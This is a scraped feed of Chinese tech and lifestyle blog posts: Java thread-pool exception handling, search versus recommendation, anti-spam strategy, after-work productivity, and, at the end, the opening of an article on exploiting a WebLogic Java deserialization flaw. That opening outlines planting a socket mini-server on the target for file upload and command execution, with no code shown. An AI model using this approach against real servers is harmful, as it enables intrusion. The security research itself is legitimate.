首先介绍一下如何在线程池内部构建一个工作者线程,如果任务抛出了一个未检查异常,那么它将使线程终结,但会首先通知框架该现场已经终结。然后框架可能会用新的线程来代替这个工作线程,也可能不会,因为线程池正在关闭,或者当前已有足够多的线程能满足需要。当编写一个向线程池提交任务的工作者类线程类时,或者调用不可信的外部代码时(例如动态加载的插件),使用这些方法中的某一种可以避免某个编写得糟糕的任务或插件不会影响调用它的整个线程。

package com.exception;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class InitiativeCaught
{
	public void threadDeal(Runnable r, Throwable t)
	{
		System.out.println("==Exception: "+t.getMessage());
	}
	class InitialtiveThread implements Runnable
	{
		@Override
		public void run()
		{
			Throwable thrown = null;
			try
			{
				System.out.println(3/2);
				System.out.println(3/0);
				System.out.println(3/1);
			}
			catch(Throwable e)
			{
				thrown =e;
			}
			finally{
				threadDeal(this,thrown);
			}
		}
	}
	public static void main(String[] args)
	{
		ExecutorService exec = Executors.newCachedThreadPool();
		exec.execute(new InitiativeCaught().new InitialtiveThread());
		exec.shutdown();
	}

}
运行结果:

1
==Exception: / by zero
上面介绍了一种主动方法来解决未检测异常。在Thread ApI中同样提供了UncaughtExceptionHandle,它能检测出某个由于未捕获的异常而终结的情况。这两种方法是互补的,通过将二者结合在一起,就能有效地防止线程泄露问题。

如下:

package com.exception;

import java.lang.Thread.UncaughtExceptionHandler;

public class WitchCaughtThread
{
	public static void main(String args[])
	{
		Thread thread = new Thread(new Task());
		thread.setUncaughtExceptionHandler(new ExceptionHandler());
		thread.start();
	}
}

class ExceptionHandler implements UncaughtExceptionHandler
{
	@Override
	public void uncaughtException(Thread t, Throwable e)
	{
		System.out.println("==Exception: "+e.getMessage());
	}
}
运行结果:

1
==Exception: / by zero
同样可以为所有的Thread设置一个默认的UncaughtExceptionHandler,通过调用Thread.setDefaultUncaughtExceptionHandler(Thread.UncaughtExceptionHandler eh)方法,这是Thread的一个static方法。

如下:

package com.exception;

import java.lang.Thread.UncaughtExceptionHandler;

public class WitchCaughtThread
{
	public static void main(String args[])
	{
		Thread.setDefaultUncaughtExceptionHandler(new ExceptionHandler());
		Thread thread = new Thread(new Task());
		thread.start();
	}
}

class ExceptionHandler implements UncaughtExceptionHandler
{
	@Override
	public void uncaughtException(Thread t, Throwable e)
	{
		System.out.println("==Exception: "+e.getMessage());
	}
}

运行结果:

1
==Exception: / by zero

如果采用线程池通过execute的方法去捕获异常,先看下面的例子:

public class ExecuteCaught
{
	public static void main(String[] args)
	{
		ExecutorService exec = Executors.newCachedThreadPool();
		Thread thread = new Thread(new Task());
		thread.setUncaughtExceptionHandler(new ExceptionHandler());
		exec.execute(thread);
		exec.shutdown();
	}
}
ExceptionHandler可参考上面的例子,运行结果:

1
Exception in thread "pool-1-thread-1" java.lang.ArithmeticException: / by zero
	at com.exception.Task.run(NoCaughtThread.java:25)
	at java.lang.Thread.run(Unknown Source)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(Unknown Source)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
	at java.lang.Thread.run(Unknown Source)
可以看到并未捕获到异常。

这时需要将异常的捕获封装到Runnable或者Callable中,如下所示:

package com.exception;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class ExecuteCaught
{
	public static void main(String[] args)
	{
		ExecutorService exec = Executors.newCachedThreadPool();
		exec.execute(new ThreadPoolTask());
		exec.shutdown();
	}
}

class ThreadPoolTask implements Runnable
{
	@Override
	public void run()
	{
		Thread.currentThread().setUncaughtExceptionHandler(new ExceptionHandler());
		System.out.println(3/2);
		System.out.println(3/0);
		System.out.println(3/1);
	}
}

运行结果:

1
==Exception: / by zero
只有通过execute提交的任务,才能将它抛出的异常交给UncaughtExceptionHandler,而通过submit提交的任务,无论是抛出的未检测异常还是已检查异常,都将被认为是任务返回状态的一部分。如果一个由submit提交的任务由于抛出了异常而结束,那么这个异常将被Future.get封装在ExecutionException中重新抛出。
下面两个例子:

package com.exception;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class SubmitCaught
{
	public static void main(String[] args)
	{
		ExecutorService exec = Executors.newCachedThreadPool();
		exec.submit(new Task());
		exec.shutdown();
	}
}
package com.exception;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class SubmitCaught
{
	public static void main(String[] args)
	{
		ExecutorService exec = Executors.newCachedThreadPool();
		exec.submit(new ThreadPoolTask());
		exec.shutdown();
	}
}
运行结果都是:

1
这样可以证实我的观点。接下来通过这个例子可以看到捕获的异常:
package com.exception;

import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;

public class SubmitCaught
{
	public static void main(String[] args)
	{
		ExecutorService exec = Executors.newCachedThreadPool();
		Future<?> future = exec.submit(new Task());
		exec.shutdown();
		try
		{
			future.get();
		}
		catch (InterruptedException | ExecutionException e)
		{
			System.out.println("==Exception: "+e.getMessage());
		}
	}
}
运行结果:

1
==Exception: java.lang.ArithmeticException: / by zero
希望我整理的这些能够给各位有所帮助。
作者:u013256816 发表于2015/12/28 11:29:44 原文链接
阅读:137 评论:0 查看评论

达观数据推荐系统和搜索引擎的经验技巧

$
0
0

推荐系统和搜索引擎的关系达观陈运文

 

从信息获取的角度来看,搜索和推荐是用户获取信息的两种主要手段。无论在互联网上,还是在线下的场景里,搜索和推荐这两种方式都大量并存,那么推荐系统和搜索引擎这两个系统到底有什么关系?区别和相似的地方有哪些?本文作者有幸同时具有搜索引擎和推荐系统一线的技术产品开发经验,结合自己的实践经验来为大家阐述两者之间的关系、分享自己的体会(达观数据陈运文博士)

 



  

图1:搜索引擎和推荐系统是获取信息的两种不同方式

 

主动或被动:搜索引擎和推荐系统的选择

 

获取信息是人类认知世界、生存发展的刚需,搜索就是最明确的一种方式,其体现的动作就是“出去找”,找食物、找地点等,到了互联网时代,搜索引擎(Search Engine)就是满足找信息这个需求的最好工具,你输入想要找的内容(即在搜索框里输入查询词,或称为Query),搜索引擎快速的给你最好的结果,这样的刚需催生了Google、百度这样的互联网巨头。

 

但是获取信息的方式除了搜索外,还有另一类,称为推荐系统(Recommendation System,简称Recsys),推荐也是伴随人类发展而生的一种基本技能,你一定遇到这样的场景,初来乍到一个地方,会找当地的朋友打听“嗨,请推荐下附近有啥好吃好玩的地方吧!”——知识、信息等通过推荐来传播,这也是一种获取信息的方式。

 

搜索和推荐的区别如图1所示,搜索是一个非常主动的行为,并且用户的需求十分明确,在搜索引擎提供的结果里,用户也能通过浏览和点击来明确的判断是否满足了用户需求。然而,推荐系统接受信息是被动的,需求也都是模糊而不明确的。以“逛”商场为例,在用户进入商场的时候,如果需求不明确,这个时候需要推荐系统,来告诉用户有哪些优质的商品、哪些合适的内容等,但如果用户已经非常明确当下需要购买哪个品牌、什么型号的商品时,直接去找对应的店铺就行,这时就是搜索了。

 

 

 

图2:从搜索词中可以看出,用户有大量个性化推荐的需求

 

很多互联网产品都需要同时满足用户这两种需求,例如对提供音乐、新闻、或者电商服务的网站,必然要提供搜索功能,当用户想找某首歌或某样商品的时候,输入名字就能搜到;与此同时,也同时要提供推荐功能,当用户就是想来听好听的歌,或者打发时间看看新闻,但并不明确一定要听哪首的时候,给予足够好的推荐,提升用户体验。

 

 

个性化程度的高低

 

除了主被动外,另一个有趣的区别是个性化程度的高低之分。搜索引擎虽然也可以有一定程度的个性化,但是整体上个性化运作的空间是比较小的。因为当需求非常明确时,找到结果的好坏通常没有太多个性化的差异。例如搜“天气”,搜索引擎可以将用户所在地区的信息作补足,给出当地天气的结果,但是个性化补足后给出的结果也是明确的了。

 



  

用户对信息的个性化需求

 

 

但是推荐系统在个性化方面的运作空间要大得多,以“推荐好看的电影”为例,一百个用户有一百种口味,并没有一个“标准”的答案,推荐系统可以根据每位用户历史上的观看行为、评分记录等生成一个对当前用户最有价值的结果,这也是推荐系统有独特魅力的地方。虽然推荐的种类有很多(例如相关推荐、个性化推荐等),但是个性化对于推荐系统是如此重要,以至于在很多时候大家干脆就把推荐系统称为“个性化推荐”甚至“智能推荐”了。

 

 

快速满足还是持续服务?

 

开发过搜索引擎的朋友都知道,评价搜索结果质量的一个重要考量指标是要帮用户尽快的找到需要的结果并点击离开。在设计搜索排序算法里,需要想尽办法让最好的结果排在最前面,往往搜索引擎的前三条结果聚集了绝大多数的用户点击。简单来说,“好”的搜索算法是需要让用户获取信息的效率更高、停留时间更短。

 

但是推荐恰恰相反,推荐算法和被推荐的内容(例如商品、新闻等)往往是紧密结合在一起的,用户获取推荐结果的过程可以是持续的、长期的,衡量推荐系统是否足够好,往往要依据是否能让用户停留更多的时间(例如多购买几样商品、多阅读几篇新闻等),对用户兴趣的挖掘越深入,越“懂”用户,那么推荐的成功率越高,用户也越乐意留在产品里。

 

所以对大量的内容型应用来说,打造一个优秀的推荐系统是提升业绩所不得不重视的手段。

 

 

推荐系统满足难以文字表述的需求

 

目前主流的搜索引擎仍然是以文字构成查询词(Query),这是因为文字是人们描述需求最简洁、直接的方式,搜索引擎抓取和索引的绝大部分内容也是以文字方式组织的。

 

因为这个因素,我们统计发现用户输入的搜索查询词也大都是比较短小的,查询词中包含5个或5个以内元素(或称Term)的占总查询量的98%以上(例如:Query“达观数据地址”,包含两个元素“达观数据”和“地址”)。

 

但另一方面,用户存在着大量的需求是比较难用精炼的文字来组织的,例如想查找“离我比较近的且价格100元以内的川菜馆”、“和我正在看的这条裙子同款式的但是价格更优惠的其他裙子”等需求。

 

一方面几乎没有用户愿意输入这么多字来找结果(用户天然都是愿意偷懒的),另一方面搜索引擎对语义的理解目前还无法做到足够深入;所以在满足这些需求的时候,通过推荐系统设置的功能(例如页面上设置的“相关推荐”、“猜你喜欢”等模块),加上与用户的交互(例如筛选、排序、点击等),不断积累和挖掘用户偏好,可以将这些难以用文字表达的需求良好的满足起来。

 

形象的来说,推荐引擎又被人们称为是无声的搜索,意思是用户虽然不用主动输入查询词来搜索,但是推荐引擎通过分析用户历史的行为、当前的上下文场景,自动来生成复杂的查询条件,进而给出计算并推荐的结果。

 

 

马太效应和长尾理论

 

马太效应(Mattnew Effect)是指强者愈强、弱者愈弱的现象,在互联网中引申为热门的产品受到更多的关注,冷门内容则愈发的会被遗忘的现象。马太效应取名自圣经《新约·马太福音》的一则寓言: “凡有的,还要加倍给他叫他多余;没有的,连他所有的也要夺过来。”

 

搜索引擎就非常充分的体现了马太效应——如下面的Google点击热图,越红的部分表示点击多和热,越偏紫色的部分表示点击少而冷,绝大部分用户的点击都集中在顶部少量的结果上,下面的结果以及翻页后的结果获得的关注非常少。这也解释了Google和百度的广告为什么这么赚钱,企业客户为什么要花大力气做SEM或SEO来提升排名——因为只有排到搜索结果的前面才有机会。

 

 

 

 

 

搜索引擎充分体现的马太效应:头部内容吸引了绝大部分点击

 

有意思的是,与“马太效应”相对应,还有一个非常有影响力的理论称为“长尾理论”。

 

长尾理论(Long Tail Effect)是“连线”杂志主编克里斯·安德森(Chris Anderson)在2004年10月的“长尾”(Long Tail)一文中最早提出的,长尾实际上是统计学中幂率(Power Laws)和帕累托分布特征(Pareto Distribution)的拓展和口语化表达,用来描述热门和冷门物品的分布情况。Chris Anderson通过观察数据发现,在互联网时代由于网络技术能以很低的成本让人们去获得更多的信息和选择,在很多网站内有越来越多的原先被“遗忘”的非最热门的事物重新被人们关注起来。事实上,每一个人的品味和偏好都并非和主流人群完全一致,Chris指出:当我们发现得越多,我们就越能体会到我们需要更多的选择。如果说搜索引擎体现着马太效应的话,那么长尾理论则阐述了推荐系统发挥的价值。陈运文

 



  

推荐系统和长尾理论

 

一个实际的例子就是亚马逊(Amazon)网络书店和传统大型书店的数据对比。市场上出版发行的图书种类超过了数百万,但是其中大部分图书是无法在传统大型书店上架销售的(实体店铺空间有限),而能放在书店显著位置(例如畅销书Best Seller货架)上的更是凤毛麟角,因此传统书店的经营模式多以畅销书为中心。但是亚马逊等网络书店的发展为长尾书籍提供了无限广阔的空间,用户浏览、采购这些长尾书籍比传统书店方便得多,于是互联网时代销售成千上万的小众图书,哪怕一次仅卖一两本,但是因为这些图书的种类比热门书籍要多得多,就像长长的尾巴那样,这些图书的销量积累起来甚至超过那些畅销书。正如亚马逊的史蒂夫·凯赛尔所说:“如果我有10万种书,哪怕一次仅卖掉一本,10年后加起来它们的销售就会超过最新出版的《哈利·波特》!”

 

 

长尾理论作为一种新的经济模式,被成功的应用于网络经济领域。而对长尾资源的盘活和利用,恰恰是推荐系统所擅长的,因为用户对长尾内容通常是陌生的,无法主动搜索,唯有通过推荐的方式,引起用户的注意,发掘出用户的兴趣,帮助用户做出最终的选择。

 

盘活长尾内容对企业来说也是非常关键的,营造一个内容丰富、百花齐放的生态,能保障企业健康的生态。试想一下,一个企业如果只依赖0.1%的“爆款”商品或内容来吸引人气,那么随着时间推移这些爆款不再受欢迎,而新的爆款又没有及时补位,那么企业的业绩必然会有巨大波动。

 

只依赖最热门内容的另一个不易察觉的危险是潜在用户的流失:因为只依赖爆款虽然能吸引一批用户(简称A类用户),但同时也悄悄排斥了对这些热门内容并不感冒的用户(简称B类用户),按照长尾理论,B类用户的数量并不少,并且随时间推移A类用户会逐步转变为B类用户(因为人们都是喜新厌旧的),所以依靠推荐系统来充分满足用户个性化、差异化的需求,让长尾内容在合适的时机来曝光,维护企业健康的生态,才能让企业的运转更稳定,波动更小。

 

 

评价方法的异同

 

搜索引擎通常基于Cranfield评价体系,并基于信息检索中常用的评价指标,例如nDCG(英文全称为normalized Discounted Cumulative Gain)、Precision-Recall(或其组合方式F1)、P@N等方法,具体可参见之前发表于InfoQ的文章《怎样量化评价搜索引擎的结果质量 陈运文》。整体上看,评价的着眼点在于将优质结果尽可能排到搜索结果的最前面,前10条结果(对应搜索结果的第一页)几乎涵盖了搜索引擎评估的主要内容。让用户以最少的点击次数、最快的速度找到内容是评价的核心。

 

推荐系统的评价面要宽泛的多,往往推荐结果的数量要多很多,出现的位置、场景也非常复杂,从量化角度来看,当应用于Top-N结果推荐时,MAP(Mean Average Precison)或CTR(Click Through Rate,计算广告中常用)是普遍的计量方法;当用于评分预测问题时,RMSE(Root Mean Squared Error)或MAE(Mean Absolute Error)是常见量化方法。

 

由于推荐系统和实际业务绑定更为紧密,从业务角度也有很多侧面评价方法,根据不同的业务形态,有不同的方法,例如带来的增量点击,推荐成功数,成交转化提升量,用户延长的停留时间等指标。

 

 

搜索和推荐的相互交融

 

搜索和推荐虽然有很多差异,但两者都是大数据技术的应用分支,存在着大量的交叠。近年来,搜索引擎逐步融合了推荐系统的结果,例如右侧的“相关推荐”、底部的“相关搜索词”等,都使用了推荐系统的产品思路和运算方法(如下图红圈区域)。

 

在另一些平台型电商网站中,由于结果数量巨大,且相关性并没有明显差异,因而对搜索结果的个性化排序有一定的运作空间,这里融合运用的个性化推荐技术也对促进成交有良好的帮助。

 



  

搜索引擎中融合的推荐系统元素

 

推荐系统也大量运用了搜索引擎的技术,搜索引擎解决运算性能的一个重要的数据结构是倒排索引技术(Inverted Index),而在推荐系统中,一类重要算法是基于内容的推荐(Content-based Recommendation),这其中大量运用了倒排索引、查询、结果归并等方法。另外点击反馈(Click Feedback)算法等也都在两者中大量运用以提升效果。

 

 

关于达观数据

 



  

达观数据是专注于企业大数据应用服务的高科技创业公司,致力于为电商、新媒体、金融、企业等提供高质量的大数据挖掘服务,包括推荐系统和搜索引擎等技术服务,力争通过达观数据积累的技术经验,帮助合作企业们提高业绩,提升服务质量,增强竞争力。

 

 

本文总结

 

作为大数据应用的两大类应用,搜索引擎和推荐系统既相互伴随和影响,又满足不同的产品需求。在作为互联网产品的连接器:连接人、信息、服务之间的桥梁,搜索和推荐有其各自的特点,本文对两者的关系进行了阐述,分析了异同。它们都是数据挖掘技术、信息检索技术、计算统计学等悠久学科的智慧结晶,也关联到认知科学、预测理论、营销学等相关学科,感兴趣的读者们可以延伸到这些相关学科里做更深入的了解。(文/陈运文)

 

 

 





已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



产品经理,为什么应该尽早考虑Anti策略?

$
0
0

产品经理,为什么应该尽早考虑Anti策略?

|  Anti策略是什么?

Anti策略是针对互联网产品内注册用户可能产生的一切不符合网站定位和规则的行为的审核规则,旨在更高效地通过非人工的方式干掉非法的内容、用户以在某种程度上保证产品的“调性”和用户使用体验。

比如一个刚上线的社区产品,当刚有一点用户的时候就开始有大量的水军来灌水发招手打字员或网络兼职的信息。这很有可能就让这个产品一时间没办法用而运营手工又人工忙不过来导致这个产品“元气大伤”。那如果针对这些行为如果有一个行之有效的Anti策略,在水军灌水的时候能判断出内容是否是垃圾、水军的行为可疑以及快速判断一个用户是否为水军,或者检测到某一时间段内用户产生的行为数量异常及时关闭某些行为功能,那么是不是在某种意义上就能够遏制这些行为对产品的不好的影响?

|  产品为什么应该尽早考虑Anti策略?

在产品越是早期的时候就越要思考Anti策略。这点我认为很重要:

一方面,早期产品内的用户生成或产生的内容量和行为量小且容易低成本地去部署和优化Anti策略,并且在出现策略异常时影响的用户也较少即代价较小;

另一方面,就如同产品是长出来的道理一样,Anti策略尽早的“播种”也有利于其成长。

可以想见,一个互联网产品如果在早期的时候就在做一些非人工的审核策略,那么在某种程度上既降低了人工成本也提升的效率,这在产品能够以相对正确的方式成长并发展成一个优秀的产品十分重要。

| Anti策略:需要达成的目标

那么如何思考Anti策略,即它的起点在于什么?——产品定位。

一个产品需要谁来用以及解决什么问题,就在某种程度上规定了这个产品需要的用户是什么以及这些用户在这个产品内的行为应该符合什么样的规范。

比如以在线招聘网站的B端Anti策略为例:

产品经理,为什么应该尽早考虑Anti策略?

从用户、行为、内容三个层面来规范Anti策略要达成的目标,即:

用户:不允许猎头个人/公司和其他非招聘目的(如教育培训、网络兼职)的个人注册成B端用户;

行为:不允许短时间内大量发布职位信息和进行刷新操作,重复发布类似的职位信息;

内容:不允许在发布的职位或公司信息中出现招聘者联系方式(联系方式+邮箱)以及违禁关键词。

目标的确定非常重要,我们发现这些目标的起点就来自于在线招聘网站其定位就要求了需要什么样的B端用户以及他们需要产生怎样的行为和生产什么样的内容,所以目标都是为了制止与产品定位无关的用户或行为出现在产品内,故而Anti策略就是为了达成这些目标而确定的。

所以当用户在这个在线招聘网站上要注册成为招聘者的时候我们就要在后台过滤其注册使用的手机号或邮箱是否是黑名单中存在的,如果是则不允许注册,另外如果成功注册成为招聘者的,他在短时间内发布大量职位信息和做集中的刷新操作是不被允许的,并且当他在发布职位信息的时候出现他自己的联系方式(联系方式+邮箱)或者违禁关键词时将面临警告、屏蔽甚至封号。

故以产品定位为出发点确定Anti策略需要达成的目标十分重要,这决定了Anti要做什么。

* 补充下某些关联:要求更好的社区内容规范——反垃圾(Anti-Spam)、产品要做行为规范(反作弊、风险预控制)等。

| Anti策略:用户体系

所有的行为和内容都来源于用户自身,如果我们能够确定某个用户是不是自己的产品想要的并且加以封禁或者“教育”,这就非常重要。

对于用户产生了何种行为和内容进行对应的不同的账户处理,并且设置账户的黑白名单以在一定程度上矫正错误的非人工自动化处理。举个例子,因为一个用户在短时间内发了很多内容而被判定为灌水的有可能是我们自己的运营,这个时候这个账号被加到白名单里将不做非法判定,否则就会被打到“灌水用户”的名单里。

那么类似“灌水用户”的名单,还可以有“发布了违禁词”的名单、“疑似打广告”的名单等等,并且对于名单中的用户加以合理的人工审核和自动化审核策略,这样“规范”了用户,对于产品的意义非凡。

| Anti策略:违禁关键词

内容如何规范?通过管理和维护关键词的黑名单、白名单,当用户在生产内容的时候进行比对,当匹配到黑名单关键词的时候,自动屏蔽或者视情况进行删除或者屏蔽掉整篇内容,当匹配到白名单的关键词时自动跳过黑名单的匹配。

这样当检测到非法的内容产生之后,能够自动屏蔽掉相关内容,并找到对应的用户依据指定的用户策略对其进行相应的人工或非人工的惩罚或警告行为。

| Anti策略:行为比对库

行为如何规范,比如上文提到的“灌水用户”、“疑似打广告”等,这些都是需要根据记录用户行为并判定其行为的非法性来定义的。举个例子,在一个陌生人社交平台上,一个女性用户在一个集中的时间内发布了疑似约到酒吧或者KTV的信息给男性用户,那很有可能就是酒托,那就会自动加入到“疑似酒托用户”的列表里去,这样运营人员过来审核也将变得非常方便而非去翻历史行为记录和全量审核等。

所以这个行为并对库的管理和维护就非常重要。通过定义非法或者疑似非法的行为,并发现用户在平台上是否产生的响应的行为并对其进行人工或者非人工的审核,快速的定义问题和找到不是平台想要的非法用户并进行展开相应措施。

| Anti策略:爬虫策略

Anti策略定义爬虫策略,在竞品或者同类型的产品中抓取用户产生的行为或生产的内容并通过人工的方式找到一些合理的内容和行为规范,并通过此补充自己的Anti策略中的关键词库和行为库,不断完善Anti策略。

总结:

Anti策略从早期产品的“安全着陆”到茁长发展过程中飞“保驾护航”,再到成熟时的“稳扎稳打”都显得十分重要,它是贯穿产品始终的重要策略。从用户、行为、内容的角度并根据不同产品的类型和阶段,合理规划和制定Anti策略,努力做成一个优秀的产品。

如何利用下班后时间开展兼职

$
0
0

这七年来,上班时是某国际公关公司的在职员工,下班后我是一个坚持写作的人,期间写了四本书,《当你的才华还撑不起你的梦想时》《不要让未来的你,讨厌现在的自己》等等,同时结婚生子倒也什么都没耽误~ 虽然这七年坚持非常辛苦,但收获也会非常大,甚至下班后的成就比上班的成就大的多,在一定意义上,也改变了我的人生路。(老板对不起(ㄒoㄒ))

很多人问我,作为现如今的加班狗,下班就瘫倒在家里了,如何利用下班或者业余的时间来发展自己的爱好?如何在有孩子之后还能捡起自己想要做的事情?如何告别手机党,让自己看看书长点心?其实有很多问题我也有,我也在努力,那么不妨分享一下我的小小心得,希望能帮助有同样问题的你。如果你有好方法,也欢迎你来告诉我,共同进步。

1  下班就累的瘫倒了怎么办:用健身战胜累瘫睡

90%的人问了同一个问题,上班通勤已经很累了,回家只想倒头就睡,根本没有力气再做业余活动,更无法动手动脑把业余活动做出什么成就来,这简直就是一个无法破的死循环,该怎么办!以我的实际经验告诉你,早晨去健身,去健身,去健身。那会不会让身体更累呢?你去试试看,真的去试试看。我从早晨健身后,整个一天都精神振奋的想大跳,观察我身边的健身妹子们,以前一个个都是加班狗,上班一年就一个个暮气沉沉,健身后一个个感觉都朝着网红路上走了。人的精神和外貌都改变成这样了,随时随地精神百倍!这些人现在干点啥都发朋友圈,简直都想屏蔽她们。

2  拖延症与懒癌患者怎么破:从最小的事快速做开始

面对一天汹涌的工作量和路上颠簸,拖延症与懒癌发作是特别值得理解的。我的方法就是从最小的事情做起,给自己建立小小的成就感。比如告诉自己:马上去洗澡,马上去洗手换衣服,马上去吃饭。当一件件小时很快的完成之后,内心会有成就感,小小的成就感会让自己越来越有劲儿,也会去立刻动手做比较大的事情。我以前下班回家一直拖到睡前才洗澡,结果睡前太困又不想洗导致一拖再拖拖到两三点才睡觉。然后开始用这种方法开始练习,到家就告诉自己马上放下书包去洗澡,吃饭,收拾妥当带孩子睡觉后就开始看书写作上英语课,只要成功到家洗澡,成就感就会爆棚一下下,晚上做事效率也非常棒。

3  啥都想干时间不够用:目标不要太大,从小事计划起(非常重要)

很多人问:我想下班后学个跳舞,还要健身,读书,写作,学英语,可是真的没有那么多时间怎么办?下班后一事无成的一个很大原因是目标太大,什么都想做,结果不知道到底该干嘛。你可以尝试把这些目标都分开,一三五健身,二四六写作,周日读一天书。下班后的每个人都会非常累,合理的安排好自己的欲望,并管理自己的行动,是非常重要的事。

4  生活被各种小事儿撕扯着:善于利用碎片时间(非常重要)

利用碎片时间处理一些杂事,比如我会在出租车上给手机充值,收发邮件,刷淘宝买东西,和朋友说事儿,给自己订饭等等。这些事一定要是非常小而杂的,而不是碎片时间看一本书之类的。因为碎片很可能就几分钟,或者20分钟,刚翻开书看了两行车来了,这样会不断打断看书的心态。长时间看不完一本书,你就会气馁。当然,如果你在路上的时间很长,比如地铁要半小时,可以用来看书,否则就用来处理一些杂事就好。

5  事儿太多记不住要干什么:每天列个To do list,好记性不如烂笔头

我有两个list,一个是上班要做的事,一个是个人要做的事。好记性不如烂笔头,年纪越大越相信这句话,越是忙乱越是要白纸黑字的写下来。每天时刻想着这两个List,一个个完成就是每天的成就感。如果有个别没有完成就转移到第二天的List中去,不断地告诉自己这件事还没有完。

6  我是睡神,无法像你一样熬夜:再大的成就都比不过健康重要

睡觉的问题没有可比性。我天生睡觉少,精力充沛,所以一直以来都睡的比较少,但这件事不能模仿,要跟据自己的身体情况来。你要么早睡早起,早晨开始工作读书健身,要么晚睡晚起,很多人晚上灵感好,这都没问题。至于晚睡影响健康的问题,只能是每个人量力而行,根据自己的身体和习惯来。但倘若你就是非常爱睡觉,一天12个小时才能醒,那就好好睡觉,不要跟自己的身体较劲,再大的成就都比不过健康重要。

7  总是对自己的不上进有负罪感:不要玩的时候想着学,学的时候想着玩(非常重要)

我就是这件事的最大受害者,可能大多数人也是吧。学习的时候想着我应该放松一下自己,玩的时候觉得我这么不学无术的怎么好,所以心里总是太有负罪感的生活。日复一日,再好的日子也过的匆匆忙忙,没法静下心来吃一顿好饭,喝一杯咖啡。现在我的做法是,每天给自己1-2个小时写作,至少一小时看书,每周周末有一天都是玩,不管是看书还是睡觉还是出去见朋友。给自己规定好什么时间里做什么事情,其他的都不去想,反而效率高了很多,做每件事的时候都能真正投入进去,整个人的精神面貌都不一样了。

8  总是这那磨蹭,时间就没了:保存好自己的精力,在整块的时间里做最难的事

拖延症还有一个原因是事情太复杂,一直不动手,结果拖得越来越久。如果你的某天工作没有很累,下班后的时间还能做点复杂的事,一定要保存好自己的精力,回家就开始干。比如读一本深奥的书,写一篇长文,看一部英文电影等等。而不是回家后这里磨蹭一下,那里聊会天儿,等精力消耗的差不多了,你也做不了什么大事儿了。

9  手机依赖重度患者:跟手机分别一小会儿,天不会塌下来

我是手机依赖重度患者,用我先生的话来说,我要是晚上不看手机,就能看一整本书。我在努力改善,比如写作的时候用“小黑屋”软件,让自己不再分心。看书的时候一小时内不看手机,你看,天也没有塌下来。只要开着声音,别让老板找不到我就可以了...... 事实上,手机依赖重度患者老看手机也并不是因为有多重要的事在与人商讨,多半是自己这里逛逛,那里刷刷,下一堆软件挨个刷,然后消费了一大把。

10  有孩子如何安排时间:从最小的工作量开始做起,树立成就感

这是很多妈妈的问题,包括全职妈妈和上班族妈妈。只要有孩子,只要跟孩子在一起,就做不了任何事儿!这该怎么办呢?我的方法是,陪孩子的时候专心陪,不要想着自己还想做这做那,要知道三岁一进幼儿园开始有了自己的小伙伴和小对象儿,你我可就是退而求其次的选择了。所以别老抱怨孩子耽误了自己的时间,该陪伴的时候好好陪着。等孩子睡觉以后,或者任何能自己玩不需要我们的时候,或者有老人或者阿姨能帮忙看一会儿的时候,抓紧时间做点事儿。比如晚上八点左右孩子睡了以后,我的个人生活就开始了。当然对于全职妈妈来讲,白天带孩子会非常非常累,累到孩子一睡自己也想睡。我个人觉得,这种情况如果还想做点什么事的话,一定要从最小的工作量开始做起,比如看五页书。看一集电视剧,做一个简单的手工等等,让自己先有点成就感,慢慢跟着自己的节奏和精神状态增加量。事虽然小,但积累起来就比什么都没干要强很多。目标太大,身体疲惫会让自己非常累,但做不完又心里难受,看到别人天天都在进步,只有自己天天只有围着孩子转,就会产生不良的情绪。

我还有一个建议,很多全职妈妈都想要做点什么事儿,但又觉得不知道从哪里下手。我个人觉得每天带孩子其实是个非常好的素材,要知道很多在职妈妈都没办法看到孩子每一天的成长,如果你愿意写下来,并分享,并阅读一些书籍来思考孩子每步的成长,于己于人都是非常好的内容,可以试试看。

11  辞职当自由职业者是不是就有了更多自由时间:No

自由职业者的时间精力自我管控非常非常重要。很多人只要一休息,就是半夜睡下午起,如此循环,上班时候想着辞职后一定要每天都过得神采奕奕的,天天晒幸福,结果却过成了浑浑噩噩,黑白颠倒。我们大部分人几十年已经习惯了有人给你规定上学上班时间,你按时遵守就可以了。把自由的生活规划的跟上班一样,几点起床,几点工作,几点吃饭,几点去玩,这是非常非常重要的事,千万别觉得上班太苦,辞职肯定会很爽。你要相信,如果不规划时间,大部分人辞职后的生活就会像雾霾一样,越来越看不清前面的方向。自我管理工作量,自我控制时间,自我调节情绪,全靠自己发挥主观能动性了。

生活不需要时刻打鸡血,若一事无成也不必内疚。年轻的时候总觉得生活一定要努力,年纪大了看多人不同的人,又会觉得每个人都有自己的生活方式,不是每个人都必须时刻紧绷着努力。你可以懒散一些,也可以紧张一些,全看自己拥有怎样的现状,是否对自己的未来有别其他的憧憬和想法。上班下班看电视睡觉也不失为一种美好的生活方式,只是于我个人而言,保持努力和进步的样子,哪怕是表象,会让自己面对纷繁变化的世界,心安一些。这样说可能会让你觉得一点都不励志,但这就是百态人间最真实的样子。

下班后两小时,决定你将会成为一个怎样的人,我们一起,共勉。

---------------------------------

微博:@一直特立独行的猫

豆瓣:特立独行的猫

著有超级畅销书《不要让未来的你,讨厌现在的自己》

新书《当你的才华还撑不起你的梦想时》全面开售

62篇佳作,超十亿次阅读,带给你青春成长的全新力量​

(当当、亚马逊、京东,博库,文轩全面上市)




 

WebLogic之Java反序列化漏洞利用实现二进制文件上传和命令执行

$
0
0

0x00 简介


Java反序列化漏洞由来已久,在WebLogic和JBoss等著名服务器上都曝出存在此漏洞。FoxGlove Security安全团队的breenmachine给出了详细的分析,但没有给出更近一步的利用方式。前段时间rebeyond在不需要连接公网的情况下使用RMI的方式在WebLogic上实现了文本文件上传和命令执行,但没有实现二进制文件上传。我通过使用Socket的方式实现了二进制文件上传和命令执行,同时也实现了RMI方式的二进制文件。

0x01 思路


首先发Payload在目标服务器中写入一个Socket实现的迷你服务器类,所有的功能都将由这个迷你服务器来执行,然后再发一个Payload来启动服务器,最后本地客户端创建Socket连接的方式向服务器发送请求来使用相应的功能,其中上传二进制文件我采用分块传输的思想,这样可以实现上传较大的文件。

